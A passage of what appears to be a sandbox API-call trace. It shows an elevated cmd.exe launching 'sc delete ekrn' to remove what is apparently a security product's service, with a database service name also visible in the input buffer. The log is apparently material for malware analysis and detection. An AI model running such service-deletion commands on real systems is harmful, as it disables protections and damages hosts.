returned 0x240000 [0077.635] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x259b30) returned 0x7e [0077.635] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0077.635] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0xffffffffffffffff [0077.636] GetLastError () returned 0x2 [0077.636] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0xffffffffffffffff [0077.636] GetLastError () returned 0x2 [0077.636] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0077.636] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0x259bc0 [0077.636] FindClose (in: hFindFile=0x259bc0 | out: hFindFile=0x259bc0) returned 1 [0077.636] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.COM", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0xffffffffffffffff [0077.636] GetLastError () returned 0x2 [0077.637] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.EXE", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0x259bc0 [0077.637] FindClose (in: hFindFile=0x259bc0 | out: hFindFile=0x259bc0) returned 1 [0077.637] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0077.637] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0077.637] GetConsoleTitleW (in: lpConsoleTitle=0x1af5c0, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0077.637] GetProcessHeap () returned 0x240000 [0077.637] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x21c) returned 0x259180 [0077.637] GetConsoleTitleW (in: lpConsoleTitle=0x259190, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0077.637] GetProcessHeap () returned 0x240000 [0077.637] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x259180, Size=0x96) returned 0x259180 [0077.637] GetProcessHeap () returned 0x240000 [0077.637] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x259180) returned 0x96 [0077.637] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe - sc delete ekrn") returned 1 [0077.638] GetProcessHeap () returned 0x240000 [0077.638] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x259180 | out: hHeap=0x240000) returned 1 [0077.638] InitializeProcThreadAttributeList (in: lpAttributeList=0x1af378, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x1af338 | out: lpAttributeList=0x1af378, lpSize=0x1af338) returned 1 [0077.638] UpdateProcThreadAttribute (in: lpAttributeList=0x1af378, dwFlags=0x0, Attribute=0x60001, lpValue=0x1af328, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x1af378, lpPreviousValue=0x0) returned 1 [0077.638] GetStartupInfoW (in: lpStartupInfo=0x1af490 | out: lpStartupInfo=0x1af490*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xb8, hStdOutput=0x120, hStdError=0x120)) [0077.638] GetProcessHeap () returned 0x240000 [0077.638] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x20) returned 0x254610 [0077.638] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0077.639] _wcsnicmp (_String1="COPYCMD", _String2="=ExitCo", _MaxCount=0x7) returned 38 [0077.639] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0077.639] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0077.639] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0077.639] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0077.639] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0077.639] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0077.639] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0077.639] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0077.639] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0077.639] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0077.639] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0077.639] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0077.639] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0077.639] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0077.639] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0077.639] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0077.639] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0077.639] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0077.639] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0077.639] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0077.639] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0077.639] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0077.639] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0077.639] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0077.639] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0077.639] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0077.640] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0077.640] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0077.640] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0077.640] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0077.640] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0077.640] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0077.640] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0077.640] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0077.640] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0077.640] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0077.640] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0077.640] GetProcessHeap () returned 0x240000 [0077.640] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x254610 | out: hHeap=0x240000) returned 1 [0077.640] GetProcessHeap () returned 0x240000 [0077.640] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x12) returned 0x2589d0 [0077.640] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\sc.exe", lpCommandLine="sc delete ekrn", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x1af3b0*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="sc delete ekrn", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x1af360 | out: lpCommandLine="sc delete ekrn", lpProcessInformation=0x1af360*(hProcess=0x50, hThread=0x54, dwProcessId=0x9a4, dwThreadId=0x9c4)) returned 1 [0077.644] CloseHandle (hObject=0x54) returned 1 [0077.644] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0077.644] GetProcessHeap () returned 0x240000 [0077.644] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25ba90 | out: hHeap=0x240000) returned 1 [0077.644] GetEnvironmentStringsW () returned 0x261b10* [0077.644] GetProcessHeap () returned 0x240000 [0077.644] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xb0e) returned 0x25ba10 [0077.644] FreeEnvironmentStringsW (penv=0x261b10) returned 1 [0077.644] NtQueryInformationProcess (in: ProcessHandle=0x50, ProcessInformationClass=0x0, ProcessInformation=0x1aec68, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x1aec68, ReturnLength=0x0) returned 0x0 [0077.644] ReadProcessMemory (in: hProcess=0x50, lpBaseAddress=0x7fffffdb000, lpBuffer=0x1aeca0, nSize=0x380, lpNumberOfBytesRead=0x1aec60 | out: lpBuffer=0x1aeca0*, lpNumberOfBytesRead=0x1aec60*=0x380) returned 1 [0077.645] WaitForSingleObject (hHandle=0x50, dwMilliseconds=0xffffffff) returned 0x0 [0077.696] GetExitCodeProcess (in: hProcess=0x50, lpExitCode=0x1af2a8 | out: lpExitCode=0x1af2a8*=0x424) returned 1 [0077.696] CloseHandle (hObject=0x50) returned 1 [0077.696] _vsnwprintf (in: _Buffer=0x1af518, _BufferCount=0x13, _Format="%08X", _ArgList=0x1af2b8 | out: _Buffer="00000424") returned 8 [0077.696] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000424") returned 1 [0077.696] GetProcessHeap () returned 0x240000 [0077.697] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25ba10 | out: hHeap=0x240000) returned 1 [0077.697] GetEnvironmentStringsW () returned 0x261b10* [0077.697] GetProcessHeap () returned 0x240000 [0077.697] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xb0e) returned 0x25ba10 [0077.697] FreeEnvironmentStringsW (penv=0x261b10) returned 1 [0077.697] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0077.697] GetProcessHeap () returned 0x240000 [0077.697] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25ba10 | out: hHeap=0x240000) returned 1 [0077.697] GetEnvironmentStringsW () returned 0x261b10* [0077.697] GetProcessHeap () returned 0x240000 [0077.697] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xb0e) returned 0x25ba10 [0077.697] FreeEnvironmentStringsW (penv=0x261b10) returned 1 [0077.697] GetProcessHeap () returned 0x240000 [0077.697] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x2589d0 | out: hHeap=0x240000) returned 1 [0077.697] DeleteProcThreadAttributeList (in: lpAttributeList=0x1af378 | out: lpAttributeList=0x1af378) [0077.697] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 1 [0077.698] _get_osfhandle (_FileHandle=1) returned 0x120 [0077.698] SetConsoleMode (hConsoleHandle=0x120, dwMode=0x0) returned 0 [0077.698] _get_osfhandle (_FileHandle=1) returned 0x120 [0077.698] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0x49f8e194 | out: lpMode=0x49f8e194) returned 0 [0077.698] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.698] GetConsoleMode (in: hConsoleHandle=0xb8, lpMode=0x49f8e198 | out: lpMode=0x49f8e198) returned 0 [0077.698] GetConsoleOutputCP () returned 0x1b5 [0077.699] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x49f9bfe0 | out: lpCPInfo=0x49f9bfe0) returned 1 [0077.699] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0077.699] GetProcessHeap () returned 0x240000 [0077.699] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x259b30 | out: hHeap=0x240000) returned 1 [0077.699] GetProcessHeap () returned 0x240000 [0077.699] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x241ab0 | out: hHeap=0x240000) returned 1 [0077.699] GetProcessHeap () returned 0x240000 [0077.699] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x255b70 | out: hHeap=0x240000) returned 1 [0077.699] GetProcessHeap () returned 0x240000 [0077.699] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25c5b0 | out: hHeap=0x240000) returned 1 [0077.699] GetProcessHeap () returned 0x240000 [0077.699] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x256550 | out: hHeap=0x240000) returned 1 [0077.699] GetProcessHeap () returned 0x240000 [0077.699] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x259910 | out: hHeap=0x240000) returned 1 [0077.699] GetProcessHeap () returned 0x240000 [0077.699] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x256510 | out: hHeap=0x240000) returned 1 [0077.699] GetProcessHeap () returned 0x240000 [0077.699] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x2589b0 | out: hHeap=0x240000) returned 1 [0077.699] GetProcessHeap () returned 0x240000 [0077.699] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x264660 | out: hHeap=0x240000) returned 1 [0077.700] _vsnwprintf (in: _Buffer=0x49fa6340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x1af7d8 | out: _Buffer="\r\n") returned 2 [0077.700] _get_osfhandle (_FileHandle=1) returned 0x120 [0077.700] GetFileType (hFile=0x120) returned 0x3 [0077.700] _get_osfhandle (_FileHandle=1) returned 0x120 [0077.700] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x49f9c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0077.700] WriteFile (in: hFile=0x120, lpBuffer=0x49f9c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x1af7a8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesWritten=0x1af7a8*=0x2, lpOverlapped=0x0) returned 1 [0077.700] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x49f8f360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0077.700] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x49f9c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0077.700] _vsnwprintf (in: _Buffer=0x49f8eb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x1af7e8 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0077.700] _vsnwprintf (in: _Buffer=0x49f8ebaa, _BufferCount=0x3d9, _Format="%c", _ArgList=0x1af7e8 | out: _Buffer=">") returned 1 [0077.700] _get_osfhandle (_FileHandle=1) returned 0x120 [0077.700] GetFileType (hFile=0x120) returned 0x3 [0077.700] _get_osfhandle (_FileHandle=1) returned 0x120 [0077.700] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x49f9c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", lpUsedDefaultChar=0x0) returned 39 [0077.700] WriteFile (in: hFile=0x120, lpBuffer=0x49f9c320*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x1af7d8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesWritten=0x1af7d8*=0x26, lpOverlapped=0x0) returned 1 [0077.700] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.700] GetFileType (hFile=0xb8) returned 0x3 [0077.701] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.701] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.701] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.701] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e320, cchWideChar=1 | out: lpWideCharStr="sc delete ekrn\n\nresql-x64-9.4\"\n\nA\"\n") returned 1 [0077.701] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.701] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.701] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.701] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e322, cchWideChar=1 | out: lpWideCharStr="c delete ekrn\n\nresql-x64-9.4\"\n\nA\"\n") returned 1 [0077.701] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.701] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.701] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.701] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e324, cchWideChar=1 | out: lpWideCharStr=" delete ekrn\n\nresql-x64-9.4\"\n\nA\"\n") returned 1 [0077.701] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.701] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.701] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.701] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e326, cchWideChar=1 | out: lpWideCharStr="delete ekrn\n\nresql-x64-9.4\"\n\nA\"\n") returned 1 [0077.701] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.701] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.702] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.702] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e328, cchWideChar=1 | out: lpWideCharStr="elete ekrn\n\nresql-x64-9.4\"\n\nA\"\n") returned 1 [0077.702] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.702] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.702] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.702] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e32a, cchWideChar=1 | out: lpWideCharStr="lete ekrn\n\nresql-x64-9.4\"\n\nA\"\n") returned 1 [0077.702] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.702] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.702] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.702] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e32c, cchWideChar=1 | out: lpWideCharStr="ete ekrn\n\nresql-x64-9.4\"\n\nA\"\n") returned 1 [0077.702] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.702] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.702] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.702] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e32e, cchWideChar=1 | out: lpWideCharStr="te ekrn\n\nresql-x64-9.4\"\n\nA\"\n") returned 1 [0077.702] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.702] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.702] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.702] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e330, cchWideChar=1 | out: lpWideCharStr="e ekrn\n\nresql-x64-9.4\"\n\nA\"\n") returned 1 [0077.702] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.702] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.703] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.703] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e332, cchWideChar=1 | out: lpWideCharStr=" ekrn\n\nresql-x64-9.4\"\n\nA\"\n") returned 1 [0077.703] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.703] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.703] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.703] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e334, cchWideChar=1 | out: lpWideCharStr="kkrn\n\nresql-x64-9.4\"\n\nA\"\n") returned 1 [0077.703] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.703] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.703] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.703] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e336, cchWideChar=1 | out: lpWideCharStr="lrn\n\nresql-x64-9.4\"\n\nA\"\n") returned 1 [0077.703] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.703] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.703] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.703] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e338, cchWideChar=1 | out: lpWideCharStr="in\n\nresql-x64-9.4\"\n\nA\"\n") returned 1 [0077.703] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.703] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.703] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.704] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e33a, cchWideChar=1 | out: lpWideCharStr="m\n\nresql-x64-9.4\"\n\nA\"\n") returned 1 [0077.704] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.704] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.704] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, 